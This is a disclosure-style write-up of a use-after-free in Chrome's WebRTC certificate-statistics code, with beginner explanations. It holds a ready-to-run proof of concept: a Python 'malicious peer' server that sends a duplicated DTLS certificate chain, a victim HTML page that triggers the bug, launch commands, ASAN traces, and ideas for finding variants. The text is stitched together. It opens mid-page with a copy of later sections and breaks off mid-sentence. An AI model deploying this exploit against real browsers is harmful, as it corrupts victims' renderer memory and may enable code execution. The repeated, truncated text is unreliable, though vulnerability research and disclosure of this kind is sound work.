function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function triggerUAF() {
log('[*] Creating RTCPeerConnection...');
const pc = new RTCPeerConnection();
pc.oniceconnectionstatechange = () => log('[*] ICE state: ' + pc.iceConnectionState);
pc.onconnectionstatechange = () => log('[*] Connection state: ' + pc.connectionState);
// Create data channel to trigger DTLS
const dc = pc.createDataChannel('poc');
dc.onopen = () => log('[+] Data channel opened');
// Create offer
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Wait for ICE gathering to complete
await new Promise(resolve => {
if (pc.iceGatheringState === 'complete') {
resolve();
} else {
pc.onicegatheringstatechange = () => {
if (pc.iceGatheringState === 'complete') resolve();
};
}
});
log('[*] ICE gathering complete. Sending offer to malicious server...');
// Send offer to malicious Python peer
const resp = await fetch('/offer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
sdp: pc.localDescription.sdp,
type: pc.localDescription.type
})
});
const answer = await resp.json();
log('[*] Got answer from malicious peer. Setting remote description...');
await pc.setRemoteDescription(answer);
// Wait for DTLS connection
await new Promise(resolve => {
if (pc.connectionState === 'connected') {
resolve();
} else {
pc.onconnectionstatechange = () => {
log('[*] Connection state: ' + pc.connectionState);
if (pc.connectionState === 'connected') resolve();
if (pc.connectionState === 'failed') resolve();
};
}
});
if (pc.connectionState !== 'connected') {
log('[!] Connection failed');
return;
}
log('[+] DTLS connected to malicious peer (duplicate cert chain!)');
log('[*] Waiting 2s for stats to stabilize...');
await new Promise(r => setTimeout(r, 2000));
// Trigger UAF: close() calls legacy_stats_->UpdateStats() ->
// AddCertificateReports() with cert chain containing duplicate fingerprints
log('[*] Calling pc.close() to trigger AddCertificateReports UAF...');
pc.close();
log('[+] pc.close() called. Check ASAN output for heap-use-after-free!');
}
triggerUAF().catch(e => log('[!] Error: ' + e));
</script>
</body>
</html>
The trigger is pc.close(). It unconditionally calls legacy_stats_->UpdateStats(), which processes the remote certificate chain through AddCertificateReports(). The duplicate fingerprint causes ReplaceOrAddNew() to delete the report that prev_report still points to.
Step 3: run the server and the victim browser
Start the malicious peer on port 8091:
python3 poc_wrtc209_server.py 8091
Then launch the ASAN build of Chrome against it:
ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome --no-sandbox --disable-gpu --enable-logging=stderr --user-data-dir=$(mktemp -d) http://localhost:8091/
The page connects, the data channel opens, DTLS completes with the duplicated certificate, and after the two second wait the page calls pc.close(). AddressSanitizer reports a heap-use-after-free.
Step 4: read the ASAN report
The crash is a read of size 8 on the WebRTC signalling thread, inside StatsReport::AddId, called from AddCertificateReports at legacy_stats_collector.cc:820:
==2009869==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b73549e8ce8 at pc 0x7f33b9fac6f1 bp 0x7b325b33edb0 sp 0x7b325b33eda8
READ of size 8 at 0x7b73549e8ce8 thread T9 (WebRTC_Signalin)
#0 0x7f33b9fac6f0 in webrtc::StatsReport::AddId(webrtc::StatsReport::StatsValueName, webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) gen/third_party/libc++/src/include/__tree:950:54
#1 0x7f33ba365afe in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:820:20
#2 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#3 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#4 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#5 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
The freed region is 40 bytes, and the read lands 24 bytes inside it. The free happened in StatsCollection::ReplaceOrAddNew at legacy_stats_types.cc:837, called from AddCertificateReports at line 805, and the allocation of the same region also happened in ReplaceOrAddNew:
0x7b73549e8ce8 is located 24 bytes inside of 40-byte region [0x7b73549e8cd0,0x7b73549e8cf8)
freed by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee5dd2 in operator delete(void*, unsigned long) (chrome+0x6825dd2)
#1 0x7f33b9fad04f in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc:837:5
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
The ASAN report shows the thread was created by blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory().
Root cause
AddCertificateReports() iterates the linked list of SSLCertificateStats and, for each certificate, builds a StatsReport::Id from the SHA-256 fingerprint and calls reports_.ReplaceOrAddNew(id). It keeps the previous report in a raw pointer and links the current report to it as issuer:
// third_party/webrtc/pc/legacy_stats_collector.cc
StatsReport* LegacyStatsCollector::AddCertificateReports(
std::unique_ptr<SSLCertificateStats> cert_stats) {
RTC_DCHECK_RUN_ON(pc_->signaling_thread());
StatsReport* first_report = nullptr;
StatsReport* prev_report = nullptr;
for (SSLCertificateStats* stats = cert_stats.get(); stats;
stats = stats->issuer.get()) {
StatsReport::Id id(StatsReport::NewTypedId(
StatsReport::kStatsReportTypeCertificate, stats->fingerprint));
StatsReport* report = reports_.ReplaceOrAddNew(id);
report->set_timestamp(stats_gathering_started_);
report->AddString(StatsReport::kStatsValueNameFingerprint,
stats->fingerprint);
report->AddString(StatsReport::kStatsValueNameFingerprintAlgorithm,
stats->fingerprint_algorithm);
report->AddString(StatsReport::kStatsValueNameDer,
stats->base64_certificate);
if (!first_report)
first_report = report;
else
prev_report->AddId(StatsReport::kStatsValueNameIssuerId, id); // UAF
prev_report = report;
}
return first_report;
}
ReplaceOrAddNew() is where the old object is destroyed. When a report with a matching ID already exists, it allocates a new StatsReport, deletes the old one, replaces the pointer in the list and returns the new object:
// third_party/webrtc/api/legacy_stats_types.cc
StatsReport* StatsCollection::ReplaceOrAddNew(const StatsReport::Id& id) {
RTC_DCHECK_RUN_ON(&thread_checker_);
RTC_DCHECK(id.get());
Container::iterator it = absl::c_find_if(
list_,
[&id](const StatsReport* r) -> bool { return r->id()->Equals(id); });
if (it != end()) {
StatsReport* report = new StatsReport((*it)->id());
delete *it; // deletes the old StatsReport
*it = report;
return report; // returns the NEW report
}
return InsertNew(id);
}
With two adjacent certificates sharing a fingerprint, the sequence is:
- Iteration 0 inserts the report for fingerprint X and sets
prev_reportto it (the report describes this asreport_Aat address0x...cd0). - Iteration 1 sees the same fingerprint X.
ReplaceOrAddNew(X)findsreport_A, allocatesreport_A'(at0x...f10), deletesreport_Aand swaps the list entry. prev_reportstill holds the address of the freedreport_A, andprev_report->AddId(...)dereferences it.
The duplicate chain is accepted because nothing upstream filters it. In OpenSSLStreamAdapter::SSLVerifyCallback(), BoringSSL's SSL_get0_peer_certificates() returns the raw certificate list exactly as sent by the remote peer, with no deduplication or validation of chain structure:
// third_party/webrtc/rtc_base/openssl_stream_adapter.cc
const STACK_OF(CRYPTO_BUFFER)* chain = SSL_get0_peer_certificates(ssl);
std::vector<std::unique_ptr<SSLCertificate>> cert_chain;
for (CRYPTO_BUFFER* cert : chain) {
cert_chain.emplace_back(new BoringSSLCertificate(bssl::UpRef(cert)));
}
stream->peer_cert_chain_.reset(new SSLCertChain(std::move(cert_chain)));
SSLCertChain::GetStats() also performs no deduplication, and the chain reaches AddCertificateReports() through PeerConnection::Close() to legacy_stats_->UpdateStats() to ExtractSessionInfo_s().
Several defences that might otherwise help are absent on this path. prev_report and first_report are raw StatsReport* pointers without raw_ptr<> (MiraclePtr) protection, because WebRTC third-party code does not use Chromium's smart pointer wrappers. StatsCollection stores reports in a std::list<StatsReport*> with no reference counting. All guards on the path are RTC_DCHECK, which is debug-only and compiled out in release builds. There is no PartitionAlloc bucket isolation for WebRTC's heap allocations.
Impact
The immediate effect is heap memory corruption in the renderer process, reachable by any remote WebRTC peer that completes a DTLS handshake with a duplicated certificate chain. The attacker only needs the victim to visit a page that connects to the malicious signalling endpoint; no further interaction is required.
The report argues that the freed 40-byte StatsReport object is immediately followed by new heap allocations from AddString() within the same function, which gives an attacker a realistic heap-spray window for replacing the freed region. That is the basis for the claim that the bug can escalate from a crash to arbitrary code execution in the renderer. The report demonstrates the ASAN heap-use-after-free; the code-execution escalation is argued, not demonstrated.
Fix
The report does not describe a fix or a patch.
Variants to test
- Other stats paths that call
ReplaceOrAddNew(). Any code that keeps a rawStatsReport*across aReplaceOrAddNew()call has the same shape. A positive result is an ASAN heap-use-after-free whose free stack showsStatsCollection::ReplaceOrAddNewand whose read stack shows the stale pointer being used. - Non-adjacent duplicate fingerprints. The report only describes two adjacent certificates with the same fingerprint. Trying duplicates separated by other certificates tests whether the issuer linking still reaches the freed object. A positive result is the same UAF report with a different iteration pattern.
- Longer chains with repeated entries. Sending a chain where several fingerprints repeat tests whether repeated replacement widens the window. A positive result is a crash or corruption that survives beyond the first duplicate pair.
- Other consumers of
SSL_get0_peer_certificates(). Any code that assumes the peer chain is deduplicated or well formed is worth checking. A positive result is a logic error or memory error triggered by a chain the TLS specification permits but the code does not expect. - Raw pointers in third-party code that bypass MiraclePtr. WebRTC and similar bundled libraries do not use Chromium's smart pointer wrappers, so use-after-free patterns there are not mitigated by
raw_ptr<>. A positive result is a UAF in third-party code that would have been caught had the pointer been wrapped.
What happened, in plain words
A web browser can make video calls and share data with another computer directly, without a server in the middle. The feature that does this is called WebRTC. To keep track of how a call is going, the browser stores a small set of statistics about each connection: which network routes were tried, which audio and video formats were agreed, and which security certificates were used to set up the encrypted link.
This report describes a bug in the part of Chrome that builds those statistics. A malicious computer on the other end of a WebRTC connection can send a security certificate list that contains the same certificate twice. When Chrome later processes that list, it frees a small piece of memory and then writes into it again. That kind of mistake is called a use-after-free: the program uses memory after it has told the system it no longer needs it. The researcher argues this can go beyond a crash and potentially let the attacker run their own code inside the browser tab.
The bug was reported to Google through the Chrome Vulnerability Reward Program (VRP). The researcher is credited as [redacted].
A few words before we start, because they come up constantly:
- WebRTC is the browser feature that lets two computers talk directly, for example for a video call or a peer-to-peer data channel. Think of it as a phone line the browser can open to another computer.
- DTLS is the encrypted handshake WebRTC uses. It is the same idea as the padlock on a shopping website: before any data flows, the two sides prove who they are by exchanging certificates. Think of it as two people showing each other ID cards before a private conversation.
- A certificate is a small file that contains a public key and a fingerprint. The fingerprint is a short code computed from the whole file, like a checksum. If two certificates are identical, their fingerprints are identical too.
- A certificate chain is a list of certificates: usually the peer's own certificate first, then the certificates of the authorities that signed it. The receiver walks the list to decide whether to trust the peer.
- The renderer process is the part of Chrome that runs a web page. It is deliberately kept separate from the rest of the browser so that a bug in a page cannot easily take over the whole machine. A bug in the renderer is still serious, because the renderer handles everything the page sees.
- A use-after-free (UAF) is a memory-safety bug. The program frees a block of memory, then keeps a pointer to it and reads or writes through that pointer. The system may have handed the same block to someone else in the meantime, so the old pointer now points at data that belongs to another part of the program. Think of handing back a hotel room key, then walking back into the room and finding a different guest's luggage there.
- Heap spraying is a technique where an attacker fills memory with lots of copies of the same data, hoping that one of them lands in the freed spot. It is like scattering many identical envelopes so that whichever one the post office picks up contains the message you wanted.
- AddressSanitizer (ASAN) is a debugging tool built into a special Chrome build. It watches every memory access and shouts loudly when a program touches memory it should not. It is how the researcher proved the bug.
Context
WebRTC keeps statistics about each peer connection: ICE candidates (the network routes it tried), codecs (the audio and video formats), transport details, and the certificates used in the DTLS handshake. In Chromium these statistics are produced by a class called LegacyStatsCollector. It builds objects called StatsReport and stores them in a collection called StatsCollection.
One of its jobs is LegacyStatsCollector::AddCertificateReports(). It walks the remote peer's DTLS certificate chain and creates one report per certificate. Each report is keyed by the certificate's SHA-256 fingerprint, which is a long code computed from the certificate file. It also links each report to the next one through an issuer relationship, meaning "this certificate was issued by that one".
The certificate chain is data the attacker controls. It arrives in the DTLS Certificate message during the handshake, and the TLS library Chrome uses, BoringSSL, exposes it through SSL_get0_peer_certificates() exactly as the remote peer sent it. The TLS specification does not forbid sending the same certificate more than once, and nothing on the path removes duplicates. That is the input this bug abuses.
The report describes a use-after-free in AddCertificateReports() that a malicious remote WebRTC peer can trigger in the renderer process. The researcher argues it can escalate from a crash to arbitrary code execution in the renderer. The report was filed against Google Chrome through the Chrome VRP.
Setup
No accounts or special roles are involved. The preconditions are:
- A victim running a Chromium build that contains the vulnerable code, in this case tested at commit
[redacted]. - A malicious WebRTC peer that can complete a DTLS handshake with the victim and that sends a certificate chain containing duplicate certificates.
- A page the victim visits that opens an
RTCPeerConnectionto that peer. No further user interaction is needed beyond visiting the page.
The proof of concept has two parts: a Python peer built on aiortc and aiohttp, and an HTML page served by that peer. aiortc is a Python library that speaks WebRTC, and aiohttp is a Python library that serves web pages and handles HTTP requests. The Python dependencies are installed with:
pip install aiortc aiohttp
pip is Python's package installer. This command downloads and installs the two libraries so the malicious peer can run.
For the crash demonstration the researcher uses a Chrome build with AddressSanitizer, run as ./out/asan-release/chrome. That is a special build of Chrome compiled with the memory checker switched on, which is why the crash output later is so detailed.
Finding it
The researcher traced the vulnerable pattern back through the history of the function. The introducing commit is [redacted] (2015-03-12, author [redacted], review https://webrtc-codereview.appspot.com/47459004). A commit is a saved change in a code repository, and the review link is where the change was discussed before it was merged. That commit changed AddCertificateReports from using safe std::string identifiers to raw StatsReport* pointers for tracking the previously created certificate report. A raw pointer is just a memory address; it does not keep the object alive or warn you if the object is gone.
A later refactor, [redacted] (2016-08-25, [redacted], https://codereview.webrtc.org/2259283002), inlined the logic into a single loop using the prev_report and first_report raw pointers, which is the form present in the codebase today. A refactor is a rewrite that changes the shape of the code without changing what it is meant to do.
What makes it exploitable is the interaction between that raw pointer and ReplaceOrAddNew(). The function keeps prev_report pointing at the report created in the previous iteration. If the next certificate has the same fingerprint, ReplaceOrAddNew() finds the existing report, allocates a replacement, deletes the old object and swaps the pointer in the collection. prev_report is not updated, so the following prev_report->AddId() writes into freed heap memory.
Exploitation
Step 1: build a peer that sends a duplicate certificate chain
The Python server subclasses RTCCertificate and overrides _create_ssl_context() so that the same certificate is added as an extra chain certificate. The DTLS Certificate message then contains [leaf_cert, leaf_cert], two entries with identical fingerprints. The "leaf" certificate is the peer's own certificate, the first one in the chain.
#!/usr/bin/env python3
"""
Malicious WebRTC peer that sends duplicate DTLS certificates.
This server:
1. Acts as a WebRTC peer with a modified DTLS certificate chain containing
duplicate certificates (same cert as both leaf and chain cert).
2. Provides HTTP signaling endpoints for SDP exchange.
3. When the browser connects and calls close()/getStats(), the duplicate
fingerprint triggers UAF in AddCertificateReports().
"""
import asyncio
import json
import logging
import sys
from aiohttp import web
from aiortc import RTCPeerConnection, RTCSessionDescription
from aiortc.rtcdtlstransport import RTCCertificate, SRTP_PROFILES
from OpenSSL import SSL, crypto
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger("wrtc209")
class MaliciousCertificate(RTCCertificate):
"""
Modified RTCCertificate that adds the same certificate as an extra
chain cert, causing the DTLS Certificate message to contain
[leaf_cert, leaf_cert] - duplicate fingerprints.
"""
def _create_ssl_context(self, srtp_profiles):
ctx = super()._create_ssl_context(srtp_profiles)
# Convert cryptography cert to pyOpenSSL X509 for add_extra_chain_cert
x509_cert = crypto.X509.from_cryptography(self._cert)
# Add the SAME cert as an extra chain cert -> duplicate fingerprint!
ctx.add_extra_chain_cert(x509_cert)
logger.info("Added duplicate cert to chain! Fingerprint will repeat.")
return ctx
# Create malicious certificate
_base_cert = RTCCertificate.generateCertificate()
malicious_cert = MaliciousCertificate(key=_base_cert._key, cert=_base_cert._cert)
# Track active peer connections
pcs = set()
async def offer(request):
"""Handle SDP offer from browser, return answer."""
params = await request.json()
offer_sdp = RTCSessionDescription(sdp=params["sdp"], type=params["type"])
pc = RTCPeerConnection()
# Monkey-patch: replace the auto-generated certificate with our malicious one
# that sends duplicate certs in the DTLS chain
pc._RTCPeerConnection__certificates = [malicious_cert]
pcs.add(pc)
@pc.on("datachannel")
def on_datachannel(channel):
logger.info(f"Data channel '{channel.label}' opened")
@channel.on("message")
def on_message(message):
logger.info(f"Received message: {message}")
@pc.on("connectionstatechange")
async def on_connectionstatechange():
logger.info(f"Connection state: {pc.connectionState}")
if pc.connectionState == "failed":
await pc.close()
pcs.discard(pc)
await pc.setRemoteDescription(offer_sdp)
answer = await pc.createAnswer()
await pc.setLocalDescription(answer)
return web.json_response({
"sdp": pc.localDescription.sdp,
"type": pc.localDescription.type,
})
async def on_shutdown(app):
coros = [pc.close() for pc in pcs]
await asyncio.gather(*coros)
pcs.clear()
# Serve static HTML
async def index(request):
with open("poc_wrtc209_uaf.html", "r") as f:
content = f.read()
return web.Response(content_type="text/html", text=content)
app = web.Application()
app.on_shutdown.append(on_shutdown)
app.router.add_get("/", index)
app.router.add_post("/offer", offer)
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
logger.info(f"Starting malicious WebRTC server on port {port}")
logger.info(f"Certificate fingerprint: {malicious_cert.getFingerprints()[0].value}")
web.run_app(app, host="[redacted]", port=port)
Line by line, in plain words:
- The top docstring explains the three jobs of the script: act as a WebRTC peer with a modified certificate chain, provide HTTP endpoints for the signalling exchange, and trigger the UAF when the browser closes the connection.
- The
importlines pull in the libraries:asynciofor running things concurrently,jsonfor encoding data,loggingfor log output,sysfor reading command-line arguments,aiohttpfor the web server,aiortcfor WebRTC, andOpenSSLfor certificate handling. class MaliciousCertificate(RTCCertificate)defines a subclass of the normal certificate class. A subclass inherits everything from its parent and lets you change one piece of behaviour._create_ssl_contextis the method that builds the TLS settings for the connection. The override calls the parent version first withsuper(), then converts the certificate to the OpenSSL format and callsctx.add_extra_chain_cert(x509_cert). That is the key line: it adds the same certificate again as an extra chain entry, so the chain the peer sends contains the certificate twice.RTCCertificate.generateCertificate()creates a normal certificate, andMaliciousCertificate(...)wraps it in the malicious subclass.pcs = set()keeps track of open peer connections so they can be closed cleanly on shutdown.async def offer(request)is the handler for the browser's offer. It reads the JSON body, builds anRTCSessionDescriptionfrom the SDP and type, creates anRTCPeerConnection, and replaces its certificate list with the malicious one. The_RTCPeerConnection__certificatesname is a Python trick to reach a private attribute; the comment calls it a monkey-patch, which means replacing behaviour at runtime without editing the library.- The
@pc.on("datachannel")and@pc.on("connectionstatechange")blocks register callbacks: one logs when a data channel opens and when messages arrive, the other logs connection state changes and closes the connection if it fails. setRemoteDescription,createAnswerandsetLocalDescriptionperform the standard WebRTC signalling dance: accept the browser's offer, produce an answer, and store it locally.- The function returns the answer as JSON, which is what the browser will apply.
on_shutdowncloses all tracked connections when the server stops.indexreads the HTML file from disk and serves it astext/html.- The
app.router.add_get("/", index)andapp.router.add_post("/offer", offer)lines wire the two routes:GET /serves the page,POST /offerhandles the signalling. - The
__main__block reads an optional port from the command line, logs the certificate fingerprint, and starts the server on[redacted](all network interfaces) at that port.
The server exposes two routes: GET / serves the victim page, and POST /offer accepts the browser's SDP offer, creates an RTCPeerConnection, swaps in the malicious certificate, and returns the SDP answer as JSON. SDP is the text format WebRTC uses to describe a connection: which formats, which addresses, which encryption. A data channel is used only to make the browser establish DTLS.
Step 2: serve a page that connects and then closes the connection
The HTML page creates an RTCPeerConnection, opens a data channel, gathers ICE candidates, posts the offer to /offer, applies the answer, waits for the connection to reach connected, waits two seconds for stats to stabilise, and then calls pc.close(). ICE candidates are the possible network paths the browser found; gathering them is the step where the browser works out how it could reach the other side.
<!DOCTYPE html>
<html>
<head><title>AddCertificateReports UAF PoC</title></head>
<body>
<h2>Duplicate DTLS cert fingerprint UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function triggerUAF() {
log('[*] Creating RTCPeerConnection...');
const pc = new RTCPeerConnection();
pc.oniceconnectionstatechange = () => log('[*] ICE state: ' + pc.iceConnectionState);
pc.onconnectionstatechange = () => log('[*] Connection state: ' + pc.connectionState);
// Create data channel to trigger DTLS
const dc = pc.createDataChannel('poc');
dc.onopen = () => log('[+] Data channel opened');
// Create offer
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Wait for ICE gathering to complete
await new Promise(resolve => {
if (pc.iceGatheringState === 'complete') {
resolve();
} else {
pc.onicegatheringstatechange = () => {
if (pc.iceGatheringState === 'complete') resolve();
};
}
});
log('[*] ICE gathering complete. Sending offer to malicious server...');
// Send offer to malicious Python peer
const resp = await fetch('/offer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
sdp: pc.localDescription.sdp,
type: pc.localDescription.type
})
});
const answer = await resp.json();
log('[*] Got answer from malicious peer. Setting remote description...');
await pc.setRemoteDescription(answer);
// Wait for DTLS connection
await new Promise(resolve => {
if (pc.connectionState === 'connected') {
resolve();
} else {
pc.onconnectionstatechange = () => {
log('[*] Connection state: ' + pc.connectionState);
if (pc.connectionState === 'connected') resolve();
if (pc.connectionState === 'failed') resolve();
};
}
});
if (pc.connectionState !== 'connected') {
log('[!] Connection failed');
return;
}
log('[+] DTLS connected to malicious peer (duplicate cert chain!)');
log('[*] Waiting 2s for stats to stabilize...');
await new Promise(r => setTimeout(r, 2000));
// Trigger UAF: close() calls legacy_stats_->UpdateStats() ->
// AddCertificateReports() with cert chain containing duplicate fingerprints
log('[*] Calling pc.close() to trigger AddCertificateReports UAF...');
pc.close();
log('[+] pc.close() called. Check ASAN output for heap-use-after-free!');
}
triggerUAF().catch(e => log('[!] Error: ' + e));
</script>
</body>
</html>
Line by line, in plain words:
- The page has a
<pre id="log">element where messages are appended, so you can watch progress in the browser. log(msg)writes a line both to the page and to the browser console. The console is the developer panel you can open with F12.triggerUAF()is anasyncfunction, meaning it can pause atawaitpoints while waiting for something to finish.new RTCPeerConnection()creates the WebRTC connection object. This is the browser-side object that will later hold the statistics.- The two
on...statechangehandlers just log ICE and connection state changes, so you can see the handshake progress. pc.createDataChannel('poc')opens a data channel. A data channel is a simple message pipe between the two peers. It is used here only to force the browser to complete the DTLS handshake, because DTLS is what carries the certificate chain.pc.createOffer()andpc.setLocalDescription(offer)produce the browser's offer and store it locally.- The
await new Promise(...)block waits untilpc.iceGatheringState === 'complete', so the offer contains all the network candidates. fetch('/offer', {...})sends the offer to the malicious server as a POST request with a JSON body.fetchis the browser's built-in way to make HTTP requests from JavaScript.await resp.json()reads the answer, andpc.setRemoteDescription(answer)applies it.- The next
await new Promise(...)waits until the connection state isconnectedorfailed. - If the state is not
connected, the script logs a failure and stops. await new Promise(r => setTimeout(r, 2000))waits two seconds. The comment says this lets the statistics stabilise, meaning the browser has finished recording the connection details.pc.close()is the trigger. Closing a peer connection makes the browser update its statistics one last time, which is where the vulnerable function runs.- The final
logtells you to look at the ASAN output. triggerUAF().catch(...)makes sure any error is printed to the page instead of disappearing silently.
The trigger is pc.close(). It unconditionally calls legacy_stats_->UpdateStats(), which processes the remote certificate chain through AddCertificateReports(). The duplicate fingerprint causes ReplaceOrAddNew() to delete the report that prev_report still points to.
Step 3: run the server and the victim browser
Start the malicious peer on port 8091:
python3 poc_wrtc209_server.py 8091
This runs the Python script and passes 8091 as the port. The script then serves the page and the signalling endpoint on that port.
Then launch the ASAN build of Chrome against it:
ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome --no-sandbox --disable-gpu --enable-logging=stderr --user-data-dir=$(mktemp -d) http://localhost:8091/
Each part of this command has a purpose:
ASAN_OPTIONS=detect_odr_violation=0tells AddressSanitizer to skip a particular class of false alarm that can appear in large builds../out/asan-release/chromeis the path to the ASAN build of Chrome.--no-sandboxdisables Chrome's process sandbox, which is normal for a debugging build.--disable-gpuavoids graphics issues in a headless or test environment.--enable-logging=stderrsends Chrome's log output to the terminal, so the ASAN report is visible.--user-data-dir=$(mktemp -d)uses a fresh temporary profile directory, so the test does not touch your normal browser profile.http://localhost:8091/is the page to open, which is the malicious server.
The page connects, the data channel opens, DTLS completes with the duplicated certificate, and after the two second wait the page calls pc.close(). AddressSanitizer reports a heap-use-after-free.
Step 4: read the ASAN report
The crash is a read of size 8 on the WebRTC signalling thread, inside StatsReport::AddId, called from AddCertificateReports at legacy_stats_collector.cc:820:
==2009869==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b73549e8ce8 at pc 0x7f33b9fac6f1 bp 0x7b325b33edb0 sp 0x7b325b33eda8
READ of size 8 at 0x7b73549e8ce8 thread T9 (WebRTC_Signalin)
#0 0x7f33b9fac6f0 in webrtc::StatsReport::AddId(webrtc::StatsReport::StatsValueName, webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) gen/third_party/libc++/src/include/__tree:950:54
#1 0x7f33ba365afe in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:820:20
#2 0x7f33ba3672a6 in webrtc::LegacyStatsCollector::ExtractSessionInfo_s(webrtc::LegacyStatsCollector::SessionStats&) third_party/webrtc/pc/legacy_stats_collector.cc:1070:11
#3 0x7f33ba3627e4 in webrtc::LegacyStatsCollector::ExtractSessionAndDataInfo() third_party/webrtc/pc/legacy_stats_collector.cc:965:3
#4 0x7f33ba361bb3 in webrtc::LegacyStatsCollector::UpdateStats(webrtc::PeerConnectionInterface::StatsOutputLevel) third_party/webrtc/pc/legacy_stats_collector.cc:733:7
#5 0x7f33ba1c2dc4 in webrtc::PeerConnection::Close() third_party/webrtc/pc/peer_connection.cc:1901:18
This is a stack trace. Each numbered line is a function call, with the innermost call at the top. Read from the bottom up, it tells the story: PeerConnection::Close() calls UpdateStats(), which calls ExtractSessionAndDataInfo(), which calls ExtractSessionInfo_s(), which calls AddCertificateReports(), which calls StatsReport::AddId(). The crash happens inside AddId, and the line READ of size 8 means the program tried to read 8 bytes from the freed address. The thread name WebRTC_Signalin shows this is the WebRTC signalling thread, the background thread that handles WebRTC bookkeeping.
The freed region is 40 bytes, and the read lands 24 bytes inside it. The free happened in StatsCollection::ReplaceOrAddNew at legacy_stats_types.cc:837, called from AddCertificateReports at line 805, and the allocation of the same region also happened in ReplaceOrAddNew:
0x7b73549e8ce8 is located 24 bytes inside of 40-byte region [0x7b73549e8cd0,0x7b73549e8cf8)
freed by thread T9 (WebRTC_Signalin) here:
#0 0x561e5dee5dd2 in operator delete(void*, unsigned long) (chrome+0x6825dd2)
#1 0x7f33b9fad04f in webrtc::StatsCollection::ReplaceOrAddNew(webrtc::scoped_refptr<webrtc::StatsReport::IdBase> const&) third_party/webrtc/api/legacy_stats_types.cc:837:5
#2 0x7f33ba3659cd in webrtc::LegacyStatsCollector::AddCertificateReports(std::__Cr::unique_ptr<webrtc::SSLCertificateStats, std::__Cr::default_delete<webrtc::SSLCertificateStats>>) third_party/webrtc/pc/legacy_stats_collector.cc:805:36
This second stack trace is the free side of the story. operator delete is the C++ operation that releases memory. It was called from ReplaceOrAddNew, which was called from AddCertificateReports. So the same function that later reads the memory is the one that, a moment earlier, caused it to be freed. The address range [0x7b73549e8cd0,0x7b73549e8cf8) is the 40-byte block, and the read at 0x7b73549e8ce8 is 24 bytes into it.
The ASAN report shows the thread was created by blink::PeerConnectionDependencyFactory::CreatePeerConnectionFactory(). Blink is the rendering engine inside Chromium, the part that turns HTML and JavaScript into what you see.
Root cause
AddCertificateReports() iterates the linked list of SSLCertificateStats and, for each certificate, builds a StatsReport::Id from the SHA-256 fingerprint and calls reports_.ReplaceOrAddNew(id). It keeps the previous report in a raw pointer and links the current report to it as issuer:
// third_party/webrtc/pc/legacy_stats_collector.cc
StatsReport* LegacyStatsCollector::AddCertificateReports(
std::unique_ptr<SSLCertificateStats> cert_stats) {
RTC_DCHECK_RUN_ON(pc_->signaling_thread());
StatsReport* first_report = nullptr;
StatsReport* prev_report = nullptr;
for (SSLCertificateStats* stats = cert_stats.get(); stats;
stats = stats->issuer.get()) {
StatsReport::Id id(StatsReport::NewTypedId(
StatsReport::kStatsReportTypeCertificate, stats->fingerprint));
StatsReport* report = reports_.ReplaceOrAddNew(id);
report->set_timestamp(stats_gathering_started_);
report->AddString(StatsReport::kStatsValueNameFingerprint,
stats->fingerprint);
report->AddString(StatsReport::kStatsValueNameFingerprintAlgorithm,
stats->fingerprint_algorithm);
report->AddString(StatsReport::kStatsValueNameDer,
stats->base64_certificate);
if (!first_report)
first_report = report;
else
prev_report->AddId(StatsReport::kStatsValueNameIssuerId, id); // UAF
prev_report = report;
}
return first_report;
}
Line by line, in plain words:
RTC_DCHECK_RUN_ON(pc_->signaling_thread())is a debug-only assertion that the function runs on the signalling thread. In release builds it is compiled out, so it protects nothing in the shipped browser.first_reportandprev_reportare raw pointers, both starting asnullptr(pointing at nothing).- The
forloop walks the certificate chain:statsstarts at the first certificate and followsstats->issuerto the next one until it reaches the end. - Inside the loop,
StatsReport::NewTypedId(...)builds an identifier from the certificate's fingerprint. Two identical certificates produce identical identifiers. reports_.ReplaceOrAddNew(id)either inserts a new report or replaces an existing one with the same identifier, and returns a pointer to the report.- The three
AddStringcalls fill the report with the fingerprint, the fingerprint algorithm and the base64-encoded certificate. Base64 is a way of writing binary data as plain text. - The
